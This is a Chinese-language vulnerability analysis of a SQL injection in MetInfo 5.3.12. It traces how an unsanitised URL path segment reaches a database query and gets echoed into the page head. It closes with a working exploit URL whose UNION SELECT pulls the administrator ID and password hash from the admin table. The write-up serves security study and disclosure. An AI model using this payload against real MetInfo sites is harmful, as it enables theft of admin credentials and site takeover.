MetInfo 5.3.12 注入漏洞
- 发表于
- Vulndb
最新版尝试通过,具体的版本为5.3.12
这是一个比较老的漏洞了,不知道为什么,metinfo 还是没有修复,网上的介绍都比较简单,我这里就详细的解释一下
\app\system\include\compatible\metv5_top.php
//获取当前应用栏目信息 $PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $PHP_SELFs = explode('/', $PHP_SELF); print_r($PHP_SELFs); $query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'"; $column = DB::get_one($query);
这里调用了 $_SERVER[‘SCRIPT_NAME’] 去获取网站路径,但是这里有一个问题就是,路径中并没有waf 处理,可以导致一些安全问题,
代码里面就直接 explode 函数对路径进行了切割,这里取出了倒数第二个参数,并且未经过处理就带入了 sql 语句里面,
我们看看 这个文件的剩下的一些代码
$met_module =$column['module']; if($met_module > 1000){ //设置SEO参数 switch($_M['config']['met_title_type']){ case 0: $webtitle = ''; break; case 1: $webtitle = $_M['config']['met_keywords']; break; case 2: $webtitle = $_M['config']['met_webname']; break; case 3: $webtitle = $_M['config']['met_keywords'].'-'.$_M['config']['met_webname']; } $met_title = $webtitle; $met_title = $met_title?$column['name'].'-'.$met_title:$column['name']; $met_title = $column['ctitle'] ? $column['ctitle'] : $met_title; $show['description']=$column['description']?$column['description']:$_M['config']['met_description']; $show['keywords']=$column['keywords']?$column['keywords']:$_M['config']['met_keywords']; $met_module =$column['module']; $classnow = $column['id']; $class1 = $column['id']; if($column['releclass']){ $class1 = $column['bigclass']; } }else{ if(!$class1 && !$class2 && !$class3 && !$metid){ //$classnow = $column['id']; $class1 = $column['id']; if($column['releclass']){ $class1 = $column['bigclass']; } } } //设置网站根 define('ROOTPATH', PATH_WEB); function is_letf_exists($left){ global $_M; //$left = array('sidebar'); $file = PATH_TEM.$left; if(file_exists($file.'.php')||file_exists($file.'.html')){ return true; } return false; } //把$_M数组,DB转换成旧系统变量写法 foreach($_M['config'] as $key => $val){ $$key=$val; } foreach($_M['table'] as $key => $val){ $k="met_{$key}"; $$k=$val; } foreach($_M['word'] as $key => $val){ $k="lang_{$key}"; $$k=$val; } $lang=$_M['lang']; $db = new DB(); //global $index_url,$lang_home,$nav_list,$nav_list2,$nav_list3,$navdown,$lang; //页面模板参数设置 $met_chtmtype=".".$met_htmtype; $met_htmtype=($lang==$met_index_type)?".".$met_htmtype:"_".$lang.".".$met_htmtype; $langmark='lang='.$_M['lang']; $met_langadmin=$_M['langlist']['admin']; $met_langok=$_M['langlist']['web']; $index_url=$_M['langlist']['web'][$_M['lang']]['met_weburl']; $m_now_year = date('Y'); $member_index_url="index.php?lang=".$lang; $member_register_url="register_include.php?lang=".$lang; //2.0 $index_c_url=$met_index_url[cn]; $index_e_url=$met_index_url[en]; $index_o_url=$met_index_url[other]; //2.0 $searchurl =$met_weburl."search/search.php?lang=".$lang; $file_basicname=PATH_WEB."lang/language_".$lang.".ini"; $file_name =PATH_WEB."templates/".$met_skin_user."/lang/language_".$lang.".ini"; $str=""; // //语言数组设置 foreach($met_langok as $key=>$val){ $indexmark=($val[mark]==$met_index_type)?"index.":"index_".$val[mark]."."; $val[met_weburl]=$val[met_weburl]<>""?$val[met_weburl]:$met_weburl; $val[met_htmtype]=$val[met_htmtype]<>""?$val[met_htmtype]:$met_htmtype; if($val[useok]){ $met_index_url[$val[mark]]=$val[met_webhtm]?$val[met_weburl].$indexmark.$val[met_htmtype]:$val[met_weburl]."index.php?lang=".$val[mark]; if($val[met_webhtm]==3)$met_index_url[$val['mark']] = $val['met_weburl'].'index-'.$val['mark'].'.html'; if($htmpack){ $navurls = $index=='index'?'':'../'; $met_index_url[$val['mark']]=$navurls.$indexmark.$val['met_htmtype']; } if($val[mark]==$met_index_type)$met_index_url[$val[mark]]=$val[met_weburl]; if($htmpack && $val[mark]==$met_index_type){ $met_index_url[$val[mark]]=$navurls; } if($val[link]!="")$met_index_url[$val[mark]]=$val[link]; if(!strstr($val[flag], 'http://')){ $navurls = $index=='index'?'':'../'; if($index=="index"&&strstr($val[flag], '../')){ $met_langlogoarray=explode("../",$val[flag]); $val[flag]=$met_langlogoarray[1]; } if(!strstr($val[flag], 'http://')&&!strstr($val[flag], 'public/images/flag/'))$val[flag]=$navurls.'public/images/flag/'.$val[flag]; } $met_langok[$val[mark]]=$val; } } $tmpincfile=PATH_WEB."templates/{$_M[config][met_skin_user]}/metinfo.inc.php"; require $tmpincfile; //flash设置数组 $met_flasharray = $_M['flashset']; $m_now_time = time(); $m_now_date = date('Y-m-d H:i:s',$m_now_time); $m_now_counter= date('Ymd',$m_now_time); $m_now_month= date('Ym',$m_now_time); $m_now_year = date('Y',$m_now_time); //公用数据处理文件与模板标签文件处理 if($met_module && $met_module > 1000){ require_once PATH_WEB.'include/head.php'; } //把上面赋值的变量与数组转成全局数组 $vars2=array_keys(get_defined_vars()); $a2=get_defined_vars(); foreach($vars2 as $key => $val){ global $$val; $$val=$a2[$val]; } //dump($_M['form']); //echo $metid; if($met_module && $met_module < 1000){ if(isset($murlid)){ require_once PATH_WEB.'include/htmlurl.php'; } if($metid){ global $filpy,$fmodule,$cmodule; require PATH_WEB."include/module.php"; } if($met_module == 3){ if(M_CLASS == 'product_show'){ $mdname = 'product'; $showname = 'showproduct'; $dbname = $met_product; $listnum = $met_product_list; $imgproduct = 'product'; require_once PATH_WEB.'/include/global/showmod.php'; $product = $news; $product_list_new= $md_list_new; $product_class_new = $md_class_new; $product_list_com= $md_list_com; $product_class_com = $md_class_com; $product_class = $md_class; $product_list= $md_list; require_once PATH_WEB.'public/php/producthtml.inc.php'; }else{ $mdname = 'product'; $showname = 'showproduct'; $dbname = $met_product; $dbname_list = $met_product_list; $mdmendy = 1; $imgproduct = 'product'; $class1re = ''; require_once PATH_WEB."include/global/listmod.php"; $product_listnow = $modlistnow; $product_list_new= $md_list_new; $product_class_new = $md_class_new; $product_list_com= $md_list_com; $product_class_com = $md_class_com; $product_class = $md_class; $product_list= $md_list; require_once PATH_WEB.'public/php/producthtml.inc.php'; } } } require_once PATH_WEB."public/php/methtml.inc.php"; if(!function_exists('rgb2hex')){ require_once PATH_WEB."public/php/waphtml.inc.php"; function toHex($N) { if ($N==NULL) return "00"; if ($N==0) return "00"; $N=max(0,$N); $N=min($N,255); $N=round($N); $string = "0123456789ABCDEF"; $val = (($N-$N%16)/16); $s1 = $string{$val}; $val = ($N%16); $s2 = $string{$val}; return $s1.$s2; } function rgb2hex($r,$g,$b){ return toHex($r).toHex($g).toHex($b); } function hex2rgb($N){ $dou = str_split($N,2); return array( "R" => hexdec($dou[0]), "G" => hexdec($dou[1]), "B" => hexdec($dou[2]) ); } } //页面内容区块顶部导航处理,左侧导航调用系统时候生效,自定义无效。 if($met_module && $met_module > 1000){ if($class_list[$classnow]['releclass']){ $pre_class = $class_list[$classnow]['bigclass']; //dump($class_list[$classnow]); if($class_list[$pre_class][new_windows] == 0)$class_list[$pre_class][new_windows] = '_self'; $nav_x[name]="<a href=\"{$class_list[$pre_class][url]}\" target=\"{$class_list[$pre_class][new_windows]}\">{$class_list[$pre_class][name]}</a> > "; } $nav_x[name].="<a href=\"{$class_list[$classnow][url]}\" target=\"{$class_list[$classnow][new_windows]}\">{$class_list[$classnow][name]}</a>"; } //把上面赋值的变量与数组转成全局数组 $vars3=array_keys(get_defined_vars()); $a3=get_defined_vars(); foreach($vars3 as $key => $val){ if(!isset($a2[$val])){ global $$val; $$val=$a3[$val]; } } $met_title = $_M['plugin']['para']['met_title'] ? $_M['plugin']['para']['met_title'] : $met_title; $show['description'] = $_M['plugin']['para']['met_description'] ? $_M['plugin']['para']['met_description'] : $show['description']; $show['keywords'] = $_M['plugin']['para']['met_keywords'] ? $_M['plugin']['para']['met_keywords'] : $show['keywords']; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
这里将数据库查询获取的参数写入了系统变量,并且我们看里面重要的的代码
//公用数据处理文件与模板标签文件处理 if($met_module && $met_module > 1000){ require_once PATH_WEB.'include/head.php'; }
最后调用了一 \app\system\web\user\templates\met\head.php
<html> <head> <meta charset="utf-8" /> <title>{$_M['tem_data']['title']}</title> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport" /> <meta name="generator" content="MetInfo"data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" /> <link href="{$_M['url']['site']}favicon.ico" rel="shortcut icon" /> <link rel="stylesheet" type="text/css" href="{$_M['url']['pub']}bootstrap/css/bootstrap.min.css" />
这里的 data-variable=”{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}”就是
将系统参数写入网页head头了,所以我们可以看见回显,下面只用找到一个点包含这个文件,就完成了触发了
我们来看一个漏洞的触发点
\member\login.php
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. //接口 if(@!$_GET['a'])$_GET['a']="doindex"; @define('M_NAME', 'user'); @define('M_MODULE', 'web'); @define('M_CLASS', 'login'); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php'; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
继续跟进 \app\system\entrance.php
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. //版本号 define ('SYS_VER', 'beta 1.101'); define ('SYS_VER_TIME', '20150511'); header("Content-type: text/html;charset=utf-8"); error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR |E_COMPILE_ERROR | E_USER_ERROR ); //error_reporting(E_ALL); PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai'); @set_time_limit(0); define('IN_MET', true); //网站根目录 define ('PATH_WEB', substr(dirname(__FILE__),0,-10)); //应用开发包根目录 define ('PATH_APP', PATH_WEB."app/"); //应用文件根目录 define ('PATH_ALL_APP', PATH_WEB."app/app/"); //配置文件根目录 define ('PATH_CONFIG', PATH_WEB."config/"); //缓存文件根目录 define ('PATH_CACHE', PATH_WEB."cache/"); //应用开发框架内核根目录 define ('PATH_SYS', PATH_APP."system/"); //系统类根目录 define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/"); //系统方法根目录 define ('PATH_SYS_FUNC', PATH_WEB."app/system/include/function/"); //系统模板公用文件根目录 define ('PATH_SYS_PUBLIC', PATH_WEB."app/system/include/public/"); //系统模块根目录 define ('PATH_SYS_MODULE', PATH_WEB."app/system/include/module/"); if (!defined('M_TYPE')) { if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){ define('M_TYPE', 'app'); }else{ define('M_TYPE', 'system'); } } if (!defined('M_MODULE')) { define ('M_MODULE', 'include'); define ('M_CLASS', $_GET['c']); define ('M_ACTION', $_GET['a']); } //当前文件夹地址 if(M_TYPE == 'system'){ if(M_MODULE == 'include'){ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/'); }else{ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/'.M_NAME.'/'); } }else{ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/'); define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'); } define ('PATH_MODULE_FILE', PATH_APP.'system'.'/'.M_MODULE.'/'); //程序运行开始时间 define ('TIME_SYS_START', time()); //表单变量自动过滤 define ('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); //当前访问的主机名 define ('HTTP_HOST', $_SERVER['HTTP_HOST']); //来源页面 define('HTTP_REFERER', $_SERVER['HTTP_REFERER']); //脚本路径 define ('PHP_SELF', $_SERVER['PHP_SELF']=="" ? $_SERVER['SCRIPT_NAME'] : $_SERVER['PHP_SELF']); if (!preg_match('/^[A-Za-z0-9_]+$/', M_TYPE.M_NAME.M_MODULE.M_CLASS.M_ACTION)) { echo 'Constants must be numbers or letters or underlined'; die(); } require_once PATH_SYS_CLASS.'load.class.php'; load::module(); # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
继续跟进 load::module() \app\system\include\class\load.class.php
public static function module($path = '', $modulename = '', $action = '') { if (!$path) { if (!$path) $path = PATH_OWN_FILE; if (!$modulename) $modulename = M_CLASS; if (!$action) $action = M_ACTION; if (!$action) $action = 'doindex'; } return self::_load_class($path, $modulename, $action); }
跟进 _load_class()
private static function _load_class($path, $classname, $action = '') { $classname=str_replace('.class.php', '', $classname); $is_myclass = 0; if(!self::$mclass[$classname]){ if(file_exists($path.$classname.'.class.php')){ require_once $path.$classname.'.class.php'; } else { echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists'; exit; } $myclass = "my_{$classname}"; if (file_exists($path.'myclass/'.$myclass.'.class.php')) { $is_myclass = 1; require_once $path.'myclass/'.$myclass.'.class.php'; } } if ($action) { if (!class_exists($classname)) { die($action.' class\'s file is not exists!!!'); } if(self::$mclass[$classname]){ $newclass = self::$mclass[$classname]; }else{ if($is_myclass){ $newclass = new $myclass; }else{ $newclass = new $classname; } self::$mclass[$classname] = $newclass; } if ($action!='new') { if(substr($action, 0, 2) != 'do'){ die($action.' function no permission load!!!'); } if(method_exists($newclass, $action)){ //var_dump($action); //var_dump($newclass); call_user_func(array($newclass, $action)); }else{ die($action.' function is not exists!!!'); } } return $newclass; } returntrue; }
这里的代码先就是基础的赋值这些的,最重要的是 call_user_func(array($newclass, $action)); 这行代码,里面的值我打印出来了 如下图
call_user_func 函数可以实例化 且 调用你传入的方法,也可以传参,这里只是实例化后调用方法,我们继续
\app\system\web\user\login.class.php
public function doindex() { global $_M; $session = load::sys_class('session', 'new'); // 如果已登录直接跳转到个人中心 if($_M['user']) { okinfo($_M['url']['user_home']); } // 如果从其他页面过来 if(isset($_SERVER['HTTP_REFERER'])) { // 是否从本站过来 $referer = parse_url($_SERVER['HTTP_REFERER']); if($referer['host']==$_SERVER['HTTP_HOST']) { // 来源页面保存到cookie setcookie("referer",$_SERVER['HTTP_REFERER']); } } if($session->get("logineorrorlength")>3)$code=1; require_once $this->template('tem/login'); }
我们继续跟进最后一串代码 require_once $this->template(‘tem/login’);
\app\system\web\user\class\userweb.class.php
protected function template($path){ global $_M; list($postion, $file) = explode('/',$path); if ($postion == 'own') { return PATH_OWN_FILE."templates/met/{$file}.php"; } if ($postion == 'ui') { return PATH_SYS."include/public/ui/web/{$file}.php"; } if($postion == 'tem'){ if($_M['custom_template']['sys_content']){ $flag = 1; }else{ $flag = 0; } if (file_exists(PATH_TEM."user/{$file}.php")) { $_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php"; }else{ if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) { $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php"; } } if($flag == 1){ return $_M['custom_template']['sys_content']; }else{ return $this->template('ui/compatible'); } } }
最后返回了 \app\system\include\public\ui\web\compatible.php 文件的路径 , 在上面的login.class.php 的代码里完成了包含,
\app\system\include\public\ui\web\compatible.php
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. defined('IN_MET') or exit('No permission'); /*兼容标签*/ require_once PATH_WEB.'app/system/include/compatible/metv5_top.php'; require_once $_M['custom_template']['sys_content']; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
哈哈 ,这里就包含了我们最开始的漏洞点 metv5_top.php,也就是我们控制路径传入的值,就会造成注入了
exp:
http://127.0.0.1:82/MetInfo5.3/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa
右键查看源码就可以看见结果了
原文连接
的情况下转载,若非则不得使用我方内容。